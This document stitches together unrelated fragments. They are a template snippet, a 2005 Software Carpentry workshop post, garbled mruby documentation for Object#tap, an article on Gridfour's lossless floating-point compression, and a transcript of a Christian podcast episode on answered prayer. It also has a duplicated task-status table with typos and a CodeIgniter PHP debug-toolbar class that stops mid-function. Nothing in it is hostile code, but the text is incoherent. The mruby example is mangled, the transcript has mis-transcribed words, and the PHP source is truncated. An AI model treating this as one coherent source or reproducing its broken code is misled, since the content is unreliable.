Spot: {% if semigroup.day %}day={{ semigroup.day }}, hour={{ semigroup.hour }}✍.
{% else %}Any time where there isn't any other one.{% endif %}


--- layout: post date: 2005-08-22 time: "09:00:00" authors: ["Greg Wilson"] title: "Software Carpentry at Indiana University" tags: ["Workshops"] ---
Andy Lumsdaine is offering the Software Carpentry course at Indiana University starting on August 29, under the heading B649 Software Tools and Practices.


Class: Object
- Inherits:
- BasicObject
- Defined in:
- mrbgems/mruby-object-ext/mrblib/object.rb
Instance Method Summary collapse
-
#tap {|_self| ... } ⇒ Object
call-seq: obj.tap x … -> obj.
Instance Method Details
#tap {|_self| ... } ⇒ Object
call-seq: obj.tap{|x|…} -> obj
Yields x
to the block, and then returns x
.
The primary purpose of this method is to “tap into” a method chain,
in order to perform operations on intermediate results within the chain.
| (1..10) .tap | x | puts “original: #{x.inspect”} | ||
| .to_a .tap | x | puts “array: #{x.inspect”} | ||
| .select | x | x%2==0 .tap | x | puts “evens: #{x.inspect”} |
| .map { | x | x*x } .tap | x | puts “squares: #{x.inspect”} |
15 16 17 18 |
# File 'mrbgems/mruby-object-ext/mrblib/object.rb', line 15 def tap yield self self end |


Lossless Compression for Floating-Point Data
The Gridfour library implements a data compression technique that reduces many floating-point raster data sets to about 50% of their uncompressed size while preserving the full precision of the original data. The technique is relatively simple and requires moderate computational resources. Because the Gridfour data compression technique is lossless, it is suitable for applications that require faithful preservation of floating-point data in its original form. Potential uses include data archival, distribution, and real-time processing systems.
This article provides information about the Gridfour technique. It includes performance test data for representative data sets and provides implementation details for the data format used by the software. The notes included in this article should be useful to developers who wish to apply the Gridfour library to their own applications or who wish to implement their own data compression logic for floating-point data
The effectiveness of the Gridfour floating-point data compression algorithms was tested using elevation and ocean bottom depth data taken from the U.S Geological Survey (USGS) Cloud Optimized GeoTIFF (COG) data products (USGS, 2019) and the GEBCO_2019 global bathymetry and elevation data set (GEBCO, 2019). Although Gridfour is not limited to processing geophysical applications, the availability of a large set of elevation data made these products a convenient source of test data. Both products provide raster data in grids with a uniform angular spacing (i.e fixed intervals of latitude and longitude). Each of the high-resolution USGS products use a 1/3 second of arc spacing and cover a 1 degree square region. The lower-resolution GEBCO product covers the entire Earth (land and water) and provides a raster data with a spacing of 15 seconds of arc [1].
In the table, the regions of coverage for the USGS data are indicated by named locations. All data values are given in bits-per-symbol (bits for elevation point) [2]. The data sources used for this test series were taken from files in either the GeoTIFF or NetCDF data format, both of which implement their own techniques for data compression. Thus the bits-per-symbol rates for the source files were already less than the 32 bits that would be expected for the single-precision floating-point data that they provided. Again, all three of the data formats cited in the table are based on lossless compression techniques that preserve the full precision of the original data. Better compression ratios are available using lossy methods, but only at the cost of losing some information from the source data.
As the table shows, Gridfour generally outperforms the better established data formats. However, there are other, commercially available data compression implementations that outperform Gridfour. Improving the Gridfour data compression ratios is an area of continuing research.
| Data Set | Format | Entropy (bps) | Source size (bps) | Gridfour Compressed (bps) |
|---|---|---|---|---|
| State College, PA | TIFF | 23.9 | 24.4 | 17.2 |
| Ann Arbor, MI | TIFF | 21.7 | 21.3 | 14.9 |
| Columbus, OH | TIFF | 22.6 | 24.5 | 17.7 |
| Mt. Washington, NH | TIFF | 23.8 | 23.8 | 17.7 |
| Newport News, VA | TIFF | 17.7 | 17.4 | 12.6 |
| GEBCO_2019 | NetCDF | 24.7 | 25.1 | 15.4 |
The table above refers to a metric called entropy. For purposes of this article, we focus on order-zero entropy, which is based on the frequency with which specific values occur in the raster set and is computed without regard to observable trends or relationships between neighboring samples. From this perspective, entropy can be thought of a measure of the amount of variability or complexity in a data set. Data grids with a lot of variability will have a high entropy value. Data with little variability will have a low entropy value. In practice, the amount of entropy in a data source is a good indicator of how well it should compress. It is used here because it provides an objective way of characterizing the variability of an input data set and rating the effectiveness of the data compression algorithm. Entropy values are essentially the idealized average number of bits per symbol required to encode the symbols (elevations, depths, etc.) in the source data based on certain formal definitions.
What we see in the table confirms that entropy is a rough predictor of the ability of the various data compression schemes used by the three implementations (TIFF, NetCDF, and Gridfour) to reduce the size of the original 32-bit floating-point values. In relatively flat regions, such as Newport News, the entropy is lower and the data compression results in small outputs. On the other hand, the State College PA sample features a series of alternating ridges and valleys that lead to a much larger variability in the source data, a larger entropy value, and a larger output size. In the case of GEBCO_2019, the higher entropy is due both to the variability of the terrain it covers and the wider spacing of sample points. In practice, the larger the raster cell spacing, the more opportunity there is for a large change in value from sample to sample.
Entropy is an important consideration in data compression and information theory in general. Readers who are interested in learning more about the concept of entropy (and Claude Shannon’s elegant formulation of the idea) may refer to the Wikipedia article Entropy (information theory). The entropy values shown in the table above were computed using the EntropyTabulator class which is provided in the Gridfour project software distribution.
Floating-point data presents special problems for data compression implementations. Many of the techniques that produce good results for integer forms exhibit lack-luster performance for real-valued raster products. This characteristic led the Gridfour project to implement special procedures for compressing floating-point data.
The Gridfour technique does not actually break new ground, but is a refinement of ideas that were used in the TIFF image-file format. So as an introduction to the Gridfour floating-point format, we will begin with a brief look at its predecessor.
Before processing data using a conventional compression algorithm, raster data formats such as TIFF often apply a preprocessing technique known as differencing. To see how the technique works, consider a raster consisting of two rows of sample values given as:
A, B, C, D, E, F
A typical differencing scheme would transform the data into a series of differences:
A, B-A, C-B, D, E-D, F-E
For integer-based raster data, the differences between subsequent samples tend to be of smaller magnitude than the source data. They also tend to have reduced variability (less entropy) and therefore compress more efficiently than the untransformed representation of the data.
Unfortunately, differencing techniques do not work well for floating-point formats. While they do reduce the magnitude of the data, they do not reduce the complexity of the mantissa part of the floating-point representations. The TIFF data format addresses this limitation by splitting the floating-point data into separate bytes and performing differencing on the component bytes rather than the overall values (Adobe, 2005).
As we discuss bits and byte layouts, we will use the following conventions:
The TIFF differencing proceeds as follows. For each row, the set of high-order bytes (order-3 bytes) are ganged together, followed by the set of order-2 bytes, order-1, and finally order-0. Within each gang, differencing is performed on a byte-by-byte basis. For example, let A0 be the low order byte of floating-point value A, A1 be the next higher order byte, A2 the one after that, and finally A3 be the highest order byte. The same pattern would apply for the next floating-point value B in the sequence, which would consist of bytes B0, B1, B2, and B3. We continue with values C, D, E, F, and so forth. In the TIFF format, the differencing factors for floating-point values would be encoded as:
A3, B3-A3, C3-B3, (A2-C3), B2-A2, C2-B2, (A1-C2), etc. D3, E3-D3, F3-D3, (D2-F3), E2-D2, F2-E2, (F1-F2), etc.
Note that at the transition between rows, the literal (non-differenced) value is stored as the first symbol. And, at the transition between byte sets, TIFF just continues with the previous value (the transition pairs are marked by parentheses). Although these transition values are perhaps not as optimal as they could be, the rows in actual raster data sets tend to be long enough that their overall contribution to the entropy in the encoded bytes is small.
The motivation for the TIFF approach is that floating-point data formats consist of three parts – the sign bit, the exponent, and the mantissa – and each of these parts has different statistical behavior. In general, the sign bits and exponents tend to have low variability, while the mantissa components have high variability. By partitioning the source data into separate sets of bytes, the TIFF approach arranges them in groups that have more uniform behavior and can compress more readily.
Once the bytes are separated into groups, the TIFF encoding scheme uses the general-purpose LZW compression scheme to reduce the final size of the data. LZW works by recognizing patterns and redundant elements in the data stream and replacing them with more compact representations. The differencing transformation converts the original floating-point representations (which have high variability, and thus low redundancy) to a form that yields more readily to conventional compression.
The TIFF approach has one important weakness. By using byte boundaries as the division between pieces, it combines some dissimilar components into the same group.
Recall that the IEEE-754 single-precision floating-point format lays out the 32 bit format as follows:
In the TIFF approach, the sign bit and the 7 high bits of the exponent are combined in the high-order byte group. The low bit from the exponent is combined with the 7 high bits of the mantissa. But because these separate components have different statistical properties, combining them diminishes the ability of the compressor to reduce their size.
The Gridfour implementation refines the TIFF approach by dividing the components into 5 separate groups:
Once the floating-point data is separated into groups as described above, Gridfour uses the general-purpose Deflate data compression API to reduce the data to a more compact form. Deflate is the compressor used in the well-known Zip data compression utilities. Like the LZW compressor used by TIFF, Deflate looks for repetition and redundancy in the data and uses compact representations to achieve data compression. By partitioning the data into groups that are based on the nature of the components, Gridfour improves the amount of repetition in the input byte sequence and thus yields better results from the compressor.
Each of the 5 sequences of bytes is processed through Deflate separately. Differencing is applied only to some of the sequences. Where differencing is applied, the Gridfour floating-point encoder follows the pattern that is used for its integer-based counterparts (see G93 Compression Algorithms). In particular, differencing is used for all values sequence in the data and is not limited to the length of a single row as it is in TIFF. Instead, the transition from row to row is handled by referring the first value in the row to the previous row.
The text below shows the general pattern of differences uses in all three mantissa sequences. In this text, the letters A, B, C, etc. represent single bytes from within a particular sequence.
A, B-A, C-B D-A, E-D, F-E
The text block below shows an example of statistics collected while processing the GEBCO_2019 data set. The counts are the average number of bits used for each "tile" in the data set. A tile is a subset of the overall data grid that consists of 90 rows and 120 columns of samples. So before compression, the groups of Exponent and Mantissa components contain 90x120 = 10800 elements (the sign bit group contains 10800/8 = 1350 elements). So in each case except for the sign bits, the group started with a size of 10800 bytes and was reduced to something smaller by the Deflate compressor. The text shows both variations (with and without differencing). As the data shows, had differencing been used for the exponents, it would have degraded the data compression ratios. But for the mantissa components (M2, M1, and M0), it has a small advantage. The magnitude of the component sizes also reflect the differences in variability for the different components.
Sign bits 26.90 Exponent 222.22 Exponent differencing 244.65 M2 3364.05 (high-order 7 bits of mantissa) M2 differencing 2810.71 M1 9978.12 M1 differencing 8870.84 M0 8955.62 (low-order 8 bits of mantissa) M0 differencing 8857.40
The choice of whether a component group is processed using differencing is based on experimentation with a number of data sets including elevation sources and artificial test data. So it is worth emphasizing that the choice is not based on any formal theory of data compression, but was established through plain-old trial-and-error. In view of that, the choices made for Gridfour may not be the optimal solution for all data sets.
Details of the implementation including byte order, bit packing, and byte-sequence encoding can be found by referring to the CodecFloat.java class included in the Gridfour source code distribution under the core module (see The Gridfour Project Page).
Adobe, Inc. (2005). Adobe Photoshop® TIFF Technical Note 3 April 8, 2005. Accessed April 2020 from http://chriscox.org/TIFFTN3d1.pdf.
General Bathymetric Chart of the Oceans [GEBCO], 2019. GEBCO Gridded Bathymetry Data. Accessed April 2020 from https://www.gebco.net/data_and_products/gridded_bathymetry_data/
U.S. Geological Survey [USGS] (2019). USGS Digital Elevation Models (DEM) Switching to New Distribution Format. Accessed April 2020 from https://www.usgs.gov/news/usgs-digital-elevation-models-dem-switching-new-distribution-format
[1] While the 2019 GEBCO data set featured non-integral data given in the form of floats, the 2020 version released 28 April 2020, uses short (2-byte) integers. With this change, the product now reports elevation and depth data rounded to the nearest 1 meter. Because the data is no longer given in floating-point form, it is appropriate to compress the GEBCO 2020 product using the Gridfour integer compressor. The original 2020 data uses 16 bits per sample and has a computed entropy of 12.9 bits per sample. The Gridfour integer data compression reduced the size of this set down to 3.12 bits per sample.
[2] The USGS Cloud Optimized GeoTIFF files contain multiple raster data products including a full-resolution source data set and 4 or 5 lower-resolution "overview" data sets. The bit counts cited above are based solely on the full-resolution product.


I live in a j's podcast for monday.
Those wonderful show is keeping up with the jones is welcome to episode 199 of keeping up with the jones is where this week we're talking about answer prayer before that happy Canada day.
Thanks baby.
It's like an early fourth of July what well.
Isn't like Canada Day kind of like a fourth of July type thing?
I suppose.
The start of the country.
Sure.
Yes, it is for Canada Day.
Yes.
I think it's like 1867 or something like that.
Pretty good timing that you picked the first of July and not like the 19th or something.
Right.

Just clever, clever date pickers.
Yes.
Did they want to do it in June, but it was towards the end.
This is not going to be memorable.
Let's just let the month roll.
That's probably how it happened.
Exactly.
Yeah.
Yeah.
When did you burn down the White House?
It was, uh, was that in 1812, something like that.
It's funny because in some history books, when you read it here, it says the British
came in and burned down the White House.
That's what I heard.
It was the British, but they, it wasn't.
It was the Canadians.
Yeah.
But what if that's just the Canadian literature saying like it was Canada
taking credit for Britain?
I don't think the British literature says that it was Britain.
I'd never heard about it.
That's for sure.
Yeah.
Anyway, happy Canada.
The day.
Thank you.
We didn't do anything remotely Canadian today.
We didn't the kids were asking me questions like how do you celebrate canada is a pretty much the same way that you do the fourth of july.
You have a big party and you do you know fireworks and usually barbecue stuff and then we would always have a big bonfire the cottage that we did let's just roll all into the fourth of July that's what i figure you bring Canadian flag star party i will just drink i'll just dress and write it might update on your fake instagram.
story for those of you remember i think last week before we found out that a j head of fake instagram account that somebody started
thanks to you guys we got shut down i mean i like we talked about it sunday night
Monday the podcast went live and i think by Tuesday it had been taken down thank you everyone so we're helpful internet i still have vertigo did we tell them that last week no we record last week.
Remember we did i have all ironies the per you know we do a session on time management and energy management.
I did the very next week, we were like, yeah, we ran out of time and energy.
Well, and technically we did therefore manage our time and energy by not doing the podcast.
We got to like nine p.m.
Wasn't on a Sunday night and went to bed.
No, well, we were like, okay, we need to record a podcast.
And I'm thinking, oh, yeah, we record this and edit it.
It was going to be one in the morning.
Yeah, we're not going to set ourselves up for success.
So we prioritized, and I'm sorry that we didn't get to spend time with you.
But what you were trying to say was you got vertigo.
I did.
Last Sunday day, I think I thought that Vertigo was a fear of heights.
Common misconception.
I don't think so.
Fear of heights.
Wouldn't that be a phobia of some kind?
Yeah, but I thought that was vertigo.
No, you know, for next week's episode, we will check up on who burnt the white
house down and what vertigo is, but your version of vertigo does what
the world spins.
So it started this time when I was lying down.
I've had it a couple of times, twice before, once from flying with the cold, I think, is
how I got it that time.
And then other time, I have no idea how I got it that time.
So it's when the crystals in your ear have moved out of where they're supposed to be,
and that's what determines your equilibrium.
And so it affects how you walk.
And you started blacking out church this morning.
I did.
I wasn't the Holy Spirit.
I know I was talking to Shannon, and all of a sudden I was like, "Oh, the room is
spinning.  And so I,
I used to pass out quite a bit when I was a teenager. And I always knew,
like, just follow, run your hands down your legs to your feet to get as low to
the ground as you can before you fall over.
I don't know why that's a life skill that you have inside out.
I know, but I, because I passed out so much and I never knew why I was doing it.
Uh, so as soon as everything went black, I was like, okay, I just said to her,
I'm going to pass out and then I just got to the floor in the church and she came over
and prayed for me.

Okay, I'm now going to pass out.
This is my warning.
Three, two, one.
Yeah.
So how is our, um, as such for vertigo, how is our week?
The only thing worth talking about is your birthday.
That's right.
One year older, a hundred years wiser.
Okay.
Yeah.
Yeah, I quite enjoyed my birthday this year.
My sister and my nephew and niece were in.
Yes, they were.
And it was great fun.
The kids played so well together.
They really did.
Then we mostly amazing food and I got watch TV.
But yeah, I was basically we went to pool and we didn't we didn't get.
Oh, we did see the Incredibles too.
We went as a famous Incredibles to really like that too.
This summer is killer for movies.
It is.
You really want to go see Jurassic.
The Jurassic.
You said you didn't until I wanted to take somebody else and then you were like, no,
I actually, I do want to see it.
I think because the first time I saw the trailer was like, uh, I don't know if I want to see
it, but then I've seen the trailer like three or four times now.
And there's just, you know, that's the rush of being afraid of dinosaurs.
You know, you just can't beat it.
One of the advantages of having your birthday is you get presents, which I'm a big fan of.
Yes.
One of the disadvantages of birthdays, and this is being completely powerless and blaming
it on birthdays and not owning my choices.
We came out of keto.
Oh yeah, you did. I mean, we did. Oh, wow.
That was a job and it was a bus driving over me.
We came off keto. What's your?
I mean, I should clarify. We came off keto temporarily.
We made some bad food choices for like two days.
What was the net effect of that?
I gained half a pound and I felt like dirt.
Oh, I felt worse than dirt.
I was like, is this how I felt before?
Like so sluggish. Yeah.
And the crashing, the whole crashing quickly thing and just groggy and so
my throat felt gooey. Yeah. Might do feel like they're wearing sweaters.
Well, you can brush your teeth and take care of that. Oh, but I think it's all the sugar. I
maybe. And I feel gross. Yeah. So let's not do that again.
No, let's find a keto birthday cake that doesn't have sugar in it. Oh, okay. I'll try.
I'll try and find one made from pork rinds.
Do you want to talk about your garden and the harvest, which includes proportions
that are pretty much out of this world?
It's insane.
It it rained for like four days this week, didn't it?
Like just thunder, lightning, thunder, lightning,
checked it down with rain.
They're just stuck in the house.
And so yesterday was finally kind of sunny and I went down to check on the garden.
And I must have zucchinis that are about two feet long.
I mean, they are massive.
They are bigger than my arm.
Yeah, I don't honestly, I don't even know if they're going to taste good.
Like, I don't know if Zucchini's taste good when they're that big, but good heavens,
they're enormous.
And then I must have picked like eight cucumbers and four jalapenos.
Like, yeah, I just got a huge harvest.
So I'm going to try and pawn off vegetables to my neighbors.
Yeah. Well, our main topic for this week is all about answer prayer.
Yes. If you think about it, my favorite kind of prayers are answer prayers.
Technically, all prayers are answered. Look at you. Bill Hybels, the famous American preacher.
I remember when I was a kid. I remember reading a book that he'd written about prayer. And he said,
"God always answers prayers. Sometimes he answers them no. Sometimes he answers them yes.
And sometimes he answers them weight." Yeah. And I was like, "That's really clever,
but it doesn't make me feel any better for the prayers that haven't been answered yet.
That's true.
Is that what you meant when you said technically all prayers are answered?
That's exactly what I was thinking of.
Had you heard the same message?
Yeah, I didn't know it was Bill Hybels. I think I heard John repeat it at some point.
So...
Who knows who owns all this revelation, but yes.
John Wimber, you had this great saying which I didn't understand for a while till I started
eating out more, but he said the Bible is the menu, not the meal.
I never understood that.
I was like, what?
And he said, you know, a lot of people read the Bible as, as that's the goal.
He said, actually, you read the Bible to wet your appetite for what's available in the Christian life.
Oh, that's really good.
Actually, well, when it starts coming to prayer, I got super excited because basically
every prayer, because basically God loves to answer the prayers found in the Bible.
Yes.
So any apostolic prayer that you can find is there for us to pray.
Good. Give us an example.
I'll give you a, I mean, just pick up any of Paul's writing or pick up the
gospels and whenever Jesus pray, start praying his prayers because you know,
those ones are going to be answered. But I, I mean, I don't know if this is
normal. I remember feeling persecuted for having godly desires.
What I mean by that is I remember meeting the Holy Spirit and wanting to
know more about the Holy Spirit and feeling bad for that.
Can you imagine how insane that is?
Well, I kind of get it.
Well, I just thought, Oh, I'm so coronal for wanting to be able to prophesy.
I'm so coronal for wanting to be able to heal the sick.
And I don't know why I thought that, but I mean, it's in the Bible to eagerly
desire spiritual gifts, especially that you may prophesy.
So I felt bad, you know, one in God to do the very thing he promised to do in scripture.
But anyway, I wonder though, can as a side note, I wonder if that feeling bad is
actually more not that I'm particularly interested in the enemy, but I think he
tends to tell that everybody the same lies.  So I wonder if you're
thinking of ungodly beliefs. Yeah, it's just ungodly beliefs.
I was thinking about Ephesians long been one of my favorite books to read, but that whole thing's
pretty much a prayer manual. So you read it and Paul says, "Hey, I'm praying for this."
And again, Paul is an apostle. I'm like, "Right, a prayer that's recorded in the Bible
is going to be a prayer that God wants to answer." Listen to this. This is what he says. This is
chapter 1. I think I'm verse 16, I think. Yeah. "I pray for you constantly asking God the
glorious Father of our Lord Jesus Christ to give you spiritual wisdom and insight so that you might
grow in your knowledge of God.
I pray that your hearts will be flooded with light
so that you can understand the confident hope
he's given to those he called as holy people
who are his rich and glorious inheritance.
I also pray that you will understand
the incredible greatness of God's power for us
who believe him.
This is the same mighty power that raised Christ
from the dead and seated him in the place of honor
at God's right hand in the heavenly realm.
So he's basically saying, I want you, my prayer,
that God's going to answer is that you're going to understand the incredible greatness
of God's power.
Yeah.
What version are you reading from?
Because that's not a familiar version.
I'm reading this from the New Living Translation.
Okay.
So this is the passage about a prayer that your eyes of your heart may be enlightened
that you managed in the hope of your calling that one.
Okay.
Look at you with your NASB.
But yeah, basically he's saying that the goal of my prayer is that your heart would
be flooded.
Yeah, the eyes of your heart will be opened.
Yeah, you're right.
Ephesians one.
I love that.
I remember wanting to be wise and have prophetic insight and feeling bad for one of those things.
And there is in verse 16, I pray for you constantly asking God to give you spiritual wisdom and
insight so that you might grow in your knowledge of God. I think that's amazing.
It is amazing.
So for everybody who wants to know God more, that is a prayer that God would love to answer.
And what I would do is when I would read the epistles or the gospel, or anytime I'd read the
the Bible and there would be a prayer, I would personalize the prayer and make it mine.
So having read that, I would be like, "Lord, I'm praying right now that you would give
me spiritual wisdom.
You'd give me insight so that I can grow in my knowledge of you.
Lord, I ask that my heart would be so flooded with light that I can understand the confident
hope that you've given to me.
And I pray that you would help me understand the incredible greatness of your power, the
same power that raised Jesus from the dead.
I pray that that would be my normal everyday bread and butter.
It kidding me.
The Lord loves to answer pretty well.
So if you're thinking, man, how do I grow in God?
How do I come like revelatory?
How do I have wisdom?
You just ask for it.
Right.
Seems simple.
Here's my question.
Go for your question.
What's the difference between a prayer and a declaration?
I give up.
What's the difference between a prayer and declaration?

I guess I was taught to declare it.
So to more say, you know, I have scriptural reason to believe that this is something God
wants to do.
So I'm actually going to declare it as opposed to pray it.
But I think it's the same difference on some level.
So definitely in a Canadian and a British person, you see, I was just raised to be polite,
but you're right.
It's already made provision for me.
We just need to take it.
That's a great point, babe.
I think that's brilliant.
Yeah, you can make that declaration for sure.
Like, you know, Father, I thank you that you are giving me spiritual wisdom, that you
are opening the eyes of my heart, you know, that kind of thing, which I still think is
prayer, but it's like a declarative prayer as opposed to an asking prayer because we
already know you want to give it to us.
Look at you.
You want another one?
Yeah.
Okay.
Declare this.
Ephesians three starting verse 12.
I don't have to do it by rap.
Yeah, you could rap it.
Because of Christ and our faith in Him, we can now come boldly and confidently into God's presence.
When I think of all of this, I fall to my knees and pray to the Father, the Creator of everything in heaven and on earth.
I pray that from His glorious, unlimited resources He will empower you with inner strength through His Spirit.
Then Christ will make His home and your hearts as you trust in Him.
Your roots will grow down into God's love and keep you strong.
And may you have the power to understand as all God's people should, how wide, how long, how high, and how deep is his love for you.
May you experience the love of Christ, though it is too great to understand fully,
then you will be made complete with all the fullness of life and power that comes from God.
I don't know what you're doing on a Monday morning, but that is a great way to start your week.
For sure.
Just a declaration. Take it away, Aji. Declare something.
He wants me to declare something.
Go for it.
I should have brought my reading glasses in because now I'm feeling my age.
Father, I thank you that I can come boldly and confidently into your presence.
I thank you that your glorious unlimited resources will empower me with inner strength through
your spirit.
I thank you, Jesus, that you are at home in my heart and I can trust in you.
roots are growing down, God's love is becoming strong in me. And I have the power to understand
as all God's people should, how wide, how long, how high, how deep your love is for me.
So just basically like that.
I love it.
It's fun, isn't it?
And because it's in the Bible, you know, someone God's going to want to answer. So you
You have this super confidence that prayer, the answer to that prayer is on its way and
you're being recharged and transformed as you make that declaration.
And you're filling your heart and your spirit with truth.
It's not, there's no fluff in that, is there?
Right.
I remember when I was a kid, I mean, I don't know how old I would have been, early teens.
And I remember reading at Jeremiah 33 verse 3, which in the NIV, which is how I remembered
that was called to me and I'll tell you great and unsearchable things you do not know.
Yeah.
And I was like, wait, that's amazing.
God's going to, of course, I immediately went to God's going to tell me the answers to the
exam that I have in high school.
Right.
I haven't prepared for it.
Great.
Unsearchable things.
But I don't think I forgot that because I remember again when I started growing in
the prophetic or wanting to grow in the prophetic in the early twenties, remembering that verse
was there.
I love how it was written in the New Living translations.
this ask me and I will tell you remarkable secrets you do not know about things to come.
So, man, if ever I'm stuck in the prophetic or I need revelation, I just remember Jeremiah
33 verse 3 and I'm like, "Father, I'm asking that you would tell me remarkable secrets
that I don't know about things to come."
Yeah.
Boom, I get a download from heaven.
I get revelation.
I can prophesy over people.
I love that.
So good.
I think too, for some of us when you think about God answering prayer is we're very short-sighted
in terms of prayers being answered, aren't we?
What do you mean?
Well, I mean, we're sort of like, "Okay, God, would you answer this prayer?
Today would be good."
Or this week would be good.
And sometimes the Lord is actually answering our prayers and He's actually answering them
yes, but He's answering them by moving all the chess pieces for the long-term win.
for it to be the best yes he could possibly give us. Does that make sense?
Yeah.
So he's moving things and he's orchestrating things. I think sometimes in the midst of that,
it can look like you're actually taking steps backwards or maybe even look like the Lord is saying
no. For sure.
But sometimes I think he's saying hold because actually greater blessing is coming and he's
putting things into the right place. I remember, I mean, I'm sitting here today and I'm 44 because
I've just had my birthday.
You are very handsome.
Thanks.
And I remember, like, I love my job.
I absolutely love my job.

I love the people I work with.
I love what we get to do for a living.
Let's just take one part of what I do for a living, which is teach.
I love to teach.
I love preparing teaching.
I love delivering teaching.
I love question and answer time.
I mean, it gives me tremendous joy to do that for a living.
Yes.
Yeah, some 20 years ago when I was confused because I felt like the Lord closed the doors
on me being a multi-millionaire wonder kid in Silicon Valley, I was asking the Lord,
"Lord, Lord, what do you want me to do?" And he said, "I want you to be a teacher."
And I thought he was having a laugh. So about that time I was asking the Lord,
"Lord, would you use me for your kingdom?" 20 years ago, "Lord, would you use me for your
Kingdom. And he says, go and be a school teacher. I, you know, I had no foresight to see how
that could be redeemed and be something good. Right. For me, I mean, I think school teachers
are great and much needed to know if you're. But it wasn't what you were dreaming about.
No, but I was dreaming enough at all. Right. But I am the teacher today because I learned
to be the teacher back then. Right. And so, you know, I don't understand why I was quitting my job.
I don't understand why I was going back to be a student. I don't understand why I was paying my
my way through school. I didn't understand why I was taking a huge pick. I didn't understand
any of this. Right. And God didn't feel obliged to tell me what he was up to fancy that.   So I think
our encouragement is if if if you're listening to this goal, yeah, answer prayer would be
nice. I've been praying. And it looks like my life is going in the opposite direction.
Could be like AJ says, the Lord's just moving some furniture to make a better blessed
make a better blessing in your life.
Yeah.
What about what about you?
I'm thinking presumably when your first marriage collapsed,
you were praying for your marriage.
Like when you look back at what the Lord's done,
gosh, it sounds like I'm fishing for compliments.
When you look back at what the Lord's done,
would you say the upgraded marriage?
Aren't you happy?
That's not what I mean.
I mean, it's kind of what I mean.
It's not what I mean.
Help.
Well, here's the thing.
like, yeah, I was praying for my first marriage to be restored, but I wasn't the only person
involved in that scenario. And he wasn't praying for that. You know what I mean? And so God's not
going to manipulate him or force him. And then of course, God and his kindness after praying for
to be restored for three, three and a half years just said, will you trust me to restore this another
way? And it was literally that was my heart shifted at that moment, like, okay, we're fine. You know,
like you're going to do something different.
I'm.
Did you have an inkling of what that meant?
No.
No.
Okay.
So you weren't thinking of a Scotsman with a body of a great God.
I wasn't.
I had no idea.
I would have been so excited in that very moment, but I had no idea.
And then of course it was eight years before we met.
So it didn't.
Well, you talk about answered prayer.
Yeah.
Eight years later.
Did it look like it was being answered?
No, you're seven.

Sure.
It was like he just, it was the right time and he just moved all the pieces together and
ta-da, you know?
So I'm not thankful I'm divorced, if that makes sense.
Sure.
I'm totally thankful that I'm married to you.
Yeah.
And to be honest with you, I forget all the time that I was ever married before.
just I don't feel like I have any residue of that.


Plan
| Task | Status | Workers |
|---|---|---|
| Writting Script | Completed | sam / john |
| Filming | in progress | Jhon / Amy |
| Editting | Waiting |
| Name | Status | Roles |
|---|---|---|
| Sam | Free | Script Writer / Editor |
| John | Working | Script Writer / Director / Editor |
| Amyl | Working | Director |
| Greta | Away | Editor |
| Task | Status | Workers |
|---|---|---|
| Writting Script | Completed | sam / john |
| Filming | in progress | Jhon / Amy |
| Editting | Waiting |
| Name | Status | Roles |
|---|---|---|
| Sam | Free | Script Writer / Editor |
| John | Working | Script Writer / Director / Editor |
| Amyl | Working | Director |
| Greta | Away | Editor |


<?php namespace CodeIgniter\Debug\Toolbar\Collectors; /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014-2019 British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author CodeIgniter Dev Team * @copyright 2014-2019 British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 4.0.0 * @filesource */ use CodeIgniter\Services; use CodeIgniter\View\RendererInterface; /** * Views collector */ class Events extends BaseCollector { /** * Whether this collector has data that can * be displayed in the Timeline. * * @var boolean */ protected $hasTimeline = false; /** * Whether this collector needs to display * content in a tab or not. * * @var boolean */ protected $hasTabContent = true; /** * Whether this collector has data that * should be shown in the Vars tab. * * @var boolean */ protected $hasVarData = false; /** * The 'title' of this Collector. * Used to name things in the toolbar HTML. * * @var string */ protected $title = 'Events'; /** * Instance of the Renderer service * * @var RendererInterface */ protected $viewer; //-------------------------------------------------------------------- /** * Constructor. */ public function __construct() { $this->viewer = Services::renderer(null, true); } //-------------------------------------------------------------------- /** * Child classes should implement this to return the timeline data * formatted for correct usage. * * @return mixed */ protected function formatTimelineData(): array { $data = []; $rows = $this->viewer->getPerformanceData(); foreach ($rows as $name => $info) { $data[] = [ 'name' => 'View: ' . $info['view'], 'component' => 'Views', 'start' => $info['start'], 'duration' => $info['end'] - $info['start'], ]; } return $data; } //-------------------------------------------------------------------- /** * Returns the data of this collector to be formatted in the toolbar * * @return array */ public function display(): array { $data = [ 'events' => [], ]; foreach (\CodeIgniter\Events\Events::getPerformanceLogs() as $row) { $key = $row['event']; if (! array_key_exists($key, $data['events'])) { $data['events'][$key] = [ 'event' => $key, 'duration' => number_format(($row['end'] - $row['start']) * 1000, 2), 'count' => 1, ]; continue; } $data['events'][$key]['duration'] += number_format(($row['end'] - $row['start']) * 1000, 2); $data['events'][$key]['count']++; } return $data; } //-------------------------------------------------------------------- /** * Gets the "badge" value for the button. */ public function getBadgeValue() { return count(\CodeIgniter\Events\Events::getPerformanceLogs()); } //-------------------------------------------------------------------- /** * Display the icon. * * Icon from https://icons8.com - 1em package * * @return string */ public function icon(): string { return 